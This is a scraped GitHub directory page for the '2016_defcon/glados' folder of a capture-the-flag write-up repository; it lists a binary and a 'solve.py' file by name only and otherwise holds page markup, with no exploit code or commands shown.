<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> DaramG </span> <span>/</span> ctf-writeup
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>6</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/DaramG/ctf-writeup/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":59453325,"originating_url":"https://github.com/DaramG/ctf-writeup/tree/master/2016_defcon/glados","user_id":null}}" data-hydro-click-hmac="226ac951fd7340e884493432201f5891f78a9f156870135bbd093f13e4b6dc4c"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/DaramG/ctf-writeup/refs" cache-key="v0:1463982011.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="RGFyYW1HL2N0Zi13cml0ZXVw" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/DaramG/ctf-writeup/refs" cache-key="v0:1463982011.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="RGFyYW1HL2N0Zi13cml0ZXVw" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeup</span></span></span><span>/</span><span><span>2016_defcon</span></span><span>/</span>glados<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeup</span></span></span><span>/</span><span><span>2016_defcon</span></span><span>/</span>glados<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/DaramG/ctf-writeup/tree-commit/4b69e2f6c0aa79f4be819afdbf1834166d26bc06/2016_defcon/glados" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/DaramG/ctf-writeup/file-list/master/2016_defcon/glados"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>glados</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
